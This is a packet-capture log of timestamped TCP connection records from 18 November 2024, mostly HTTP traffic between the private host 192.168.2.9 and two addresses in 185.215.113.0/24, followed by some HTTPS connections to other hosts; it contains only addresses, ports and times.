Nov 18, 2024 15:17:17.747952938 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.747955084 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.747958899 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.747961044 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.747967005 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.747980118 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.748008013 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.748035908 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.748048067 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.748064041 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.748078108 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.748090029 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.748104095 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.748126984 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.748126984 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.748143911 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.749358892 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749376059 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749388933 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749408007 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749423027 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749423981 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.749435902 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749449968 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749463081 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.749464035 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749475956 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749500036 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749500036 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.749509096 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.749512911 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749526978 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749536991 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.749537945 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749555111 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749566078 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749582052 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749583006 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.749588013 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749598026 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.749602079 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749614954 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749624968 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749635935 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749639988 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.749656916 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.749665022 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749671936 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.749680996 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749691963 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749701977 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749701977 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.749715090 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749727964 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749739885 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749741077 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.749752045 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749764919 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749775887 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749777079 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.749783993 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.749789953 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749800920 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749814034 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.749815941 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.749844074 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.749860048 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.751244068 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.751264095 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.751286030 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.751305103 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.751310110 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.751331091 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.751341105 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.751343966 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.751364946 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.751379013 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.751439095 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.751451969 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.751471996 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.751482010 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.751509905 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.826021910 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826039076 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826054096 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826076984 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826088905 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826098919 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826106071 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.826116085 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826160908 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.826486111 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826498032 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826535940 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826548100 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826570034 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.826591969 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.826673031 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826687098 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826698065 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826709986 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826723099 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.826724052 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826740026 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826744080 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.826780081 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.826818943 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826832056 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826843023 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826874018 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.826889038 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.826922894 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826936007 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826947927 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826960087 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.826963902 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.826987028 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.827016115 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.827073097 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.827085018 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.827097893 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.827124119 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.827148914 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.827357054 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.827368021 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.827378988 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.827389956 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.827398062 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.827403069 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.827416897 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.827418089 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.827451944 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.827577114 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.827589035 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.827600956 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.827622890 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.827641010 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.889225006 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889249086 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889261961 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889272928 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889291048 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889302969 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889323950 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889334917 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889344931 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889349937 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889355898 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889369965 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889374018 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.889383078 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889419079 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.889467001 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.889471054 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889483929 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889496088 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889508009 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889511108 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.889516115 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889527082 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889533997 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.889542103 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889553070 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.889588118 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.889724970 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889736891 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889749050 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889761925 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889779091 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.889802933 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.889848948 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889863014 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889873981 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889885902 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889889956 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.889899969 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889911890 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889923096 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889925957 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.889936924 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889949083 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889961004 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.889962912 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.889986992 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.890002966 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.890546083 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.890558004 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.890569925 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.890583038 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.890594006 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.890594959 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.890608072 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.890619993 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.890635014 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.890655041 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.891011953 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.891022921 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.891032934 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.891046047 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.891060114 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.891068935 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.891083956 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.891098976 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.891103029 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.891113043 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.891124010 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.891136885 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.891136885 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.891149998 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.891155005 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.891172886 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.891196966 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.913974047 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.913988113 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.914000034 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.914047003 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.914052010 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.914084911 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.914107084 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.942066908 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.942084074 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.942095041 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.942101002 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.942106962 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.942159891 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.942193031 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.942229033 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.942240953 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.942251921 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.942257881 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.942276001 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.942289114 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.942298889 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.942312002 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.942321062 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.942321062 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.942329884 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.942337990 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.942343950 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.942348003 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.942358017 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.942370892 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.942378998 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.942384005 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.942394972 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.942395926 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.942409992 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.942414999 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.942421913 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.942451000 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.942475080 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:18.157288074 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:18.157622099 CET	49836	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:18.164016008 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:18.164030075 CET	80	49836	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:18.164124966 CET	49836	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:18.164274931 CET	49836	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:18.170001030 CET	80	49836	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:19.570008039 CET	80	49836	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:19.570094109 CET	49836	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:22.127094984 CET	49837	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:17:22.127135992 CET	443	49837	52.149.20.212	192.168.2.9
Nov 18, 2024 15:17:22.127202988 CET	49837	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:17:22.127593994 CET	49837	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:17:22.127607107 CET	443	49837	52.149.20.212	192.168.2.9
Nov 18, 2024 15:17:23.023010015 CET	443	49837	52.149.20.212	192.168.2.9
Nov 18, 2024 15:17:23.023089886 CET	49837	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:17:23.033782005 CET	49837	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:17:23.033799887 CET	443	49837	52.149.20.212	192.168.2.9
Nov 18, 2024 15:17:23.034154892 CET	443	49837	52.149.20.212	192.168.2.9
Nov 18, 2024 15:17:23.049700022 CET	49837	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:17:23.091332912 CET	443	49837	52.149.20.212	192.168.2.9
Nov 18, 2024 15:17:23.180293083 CET	49836	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:23.182331085 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:23.220902920 CET	443	49801	23.221.22.215	192.168.2.9
Nov 18, 2024 15:17:23.220988989 CET	443	49801	23.221.22.215	192.168.2.9
Nov 18, 2024 15:17:23.221065998 CET	49801	443	192.168.2.9	23.221.22.215
Nov 18, 2024 15:17:23.238711119 CET	443	49800	23.221.22.215	192.168.2.9
Nov 18, 2024 15:17:23.238807917 CET	443	49800	23.221.22.215	192.168.2.9
Nov 18, 2024 15:17:23.238867998 CET	49800	443	192.168.2.9	23.221.22.215
Nov 18, 2024 15:17:23.351625919 CET	443	49837	52.149.20.212	192.168.2.9
Nov 18, 2024 15:17:23.351661921 CET	443	49837	52.149.20.212	192.168.2.9
Nov 18, 2024 15:17:23.351676941 CET	443	49837	52.149.20.212	192.168.2.9
Nov 18, 2024 15:17:23.351905107 CET	49837	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:17:23.351905107 CET	49837	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:17:23.351938009 CET	443	49837	52.149.20.212	192.168.2.9
Nov 18, 2024 15:17:23.351996899 CET	49837	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:17:23.473474026 CET	443	49837	52.149.20.212	192.168.2.9
Nov 18, 2024 15:17:23.473534107 CET	443	49837	52.149.20.212	192.168.2.9
Nov 18, 2024 15:17:23.474361897 CET	49837	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:17:23.474361897 CET	49837	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:17:23.474380016 CET	443	49837	52.149.20.212	192.168.2.9
Nov 18, 2024 15:17:23.474802017 CET	49837	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:17:23.474802017 CET	49837	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:17:23.474838972 CET	443	49837	52.149.20.212	192.168.2.9
Nov 18, 2024 15:17:23.475622892 CET	443	49837	52.149.20.212	192.168.2.9
Nov 18, 2024 15:17:23.475661039 CET	443	49837	52.149.20.212	192.168.2.9
Nov 18, 2024 15:17:23.475754023 CET	49837	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:17:23.532007933 CET	443	49802	23.221.22.215	192.168.2.9
Nov 18, 2024 15:17:23.532077074 CET	443	49802	23.221.22.215	192.168.2.9
Nov 18, 2024 15:17:23.532459974 CET	49802	443	192.168.2.9	23.221.22.215
Nov 18, 2024 15:17:26.740075111 CET	443	49822	23.222.241.142	192.168.2.9
Nov 18, 2024 15:17:26.740160942 CET	443	49822	23.222.241.142	192.168.2.9
Nov 18, 2024 15:17:26.740211010 CET	49822	443	192.168.2.9	23.222.241.142
Nov 18, 2024 15:17:26.754463911 CET	443	49821	23.222.241.142	192.168.2.9
Nov 18, 2024 15:17:26.754550934 CET	443	49821	23.222.241.142	192.168.2.9
Nov 18, 2024 15:17:26.754647017 CET	49821	443	192.168.2.9	23.222.241.142
Nov 18, 2024 15:17:26.899879932 CET	443	49824	23.222.241.136	192.168.2.9
Nov 18, 2024 15:17:26.899970055 CET	443	49824	23.222.241.136	192.168.2.9
Nov 18, 2024 15:17:26.900132895 CET	49824	443	192.168.2.9	23.222.241.136
Nov 18, 2024 15:17:36.250261068 CET	443	49835	23.206.229.209	192.168.2.9
Nov 18, 2024 15:17:36.250490904 CET	49835	443	192.168.2.9	23.206.229.209
Nov 18, 2024 15:17:49.549401999 CET	443	49704	13.107.246.45	192.168.2.9
Nov 18, 2024 15:17:49.550112009 CET	443	49704	13.107.246.45	192.168.2.9
Nov 18, 2024 15:17:49.550159931 CET	49704	443	192.168.2.9	13.107.246.45
Nov 18, 2024 15:17:49.550489902 CET	49704	443	192.168.2.9	13.107.246.45
Nov 18, 2024 15:17:49.555459976 CET	443	49704	13.107.246.45	192.168.2.9
Nov 18, 2024 15:17:51.928474903 CET	49778	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:17:51.928497076 CET	443	49778	162.159.61.3	192.168.2.9
Nov 18, 2024 15:17:51.928524971 CET	49779	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:17:51.928551912 CET	443	49779	162.159.61.3	192.168.2.9
Nov 18, 2024 15:17:52.804430962 CET	49823	443	192.168.2.9	204.79.197.219
Nov 18, 2024 15:17:52.804449081 CET	443	49823	204.79.197.219	192.168.2.9
Nov 18, 2024 15:17:52.819935083 CET	49820	443	192.168.2.9	204.79.197.219
Nov 18, 2024 15:17:52.819957972 CET	443	49820	204.79.197.219	192.168.2.9
Nov 18, 2024 15:17:57.277982950 CET	49801	443	192.168.2.9	23.221.22.215
Nov 18, 2024 15:17:57.277988911 CET	49800	443	192.168.2.9	23.221.22.215
Nov 18, 2024 15:17:57.278000116 CET	443	49801	23.221.22.215	192.168.2.9
Nov 18, 2024 15:17:57.278012037 CET	443	49800	23.221.22.215	192.168.2.9
Nov 18, 2024 15:17:57.278029919 CET	49802	443	192.168.2.9	23.221.22.215
Nov 18, 2024 15:17:57.278036118 CET	443	49802	23.221.22.215	192.168.2.9
Nov 18, 2024 15:17:57.278076887 CET	49821	443	192.168.2.9	23.222.241.142
Nov 18, 2024 15:17:57.278095007 CET	443	49821	23.222.241.142	192.168.2.9
Nov 18, 2024 15:17:57.278111935 CET	49822	443	192.168.2.9	23.222.241.142
Nov 18, 2024 15:17:57.278131962 CET	443	49822	23.222.241.142	192.168.2.9
Nov 18, 2024 15:17:57.278305054 CET	49824	443	192.168.2.9	23.222.241.136
Nov 18, 2024 15:17:57.278321028 CET	443	49824	23.222.241.136	192.168.2.9
Nov 18, 2024 15:17:57.278625011 CET	49842	443	192.168.2.9	23.198.7.171
Nov 18, 2024 15:17:57.278656006 CET	443	49842	23.198.7.171	192.168.2.9
Nov 18, 2024 15:17:57.278778076 CET	49842	443	192.168.2.9	23.198.7.171
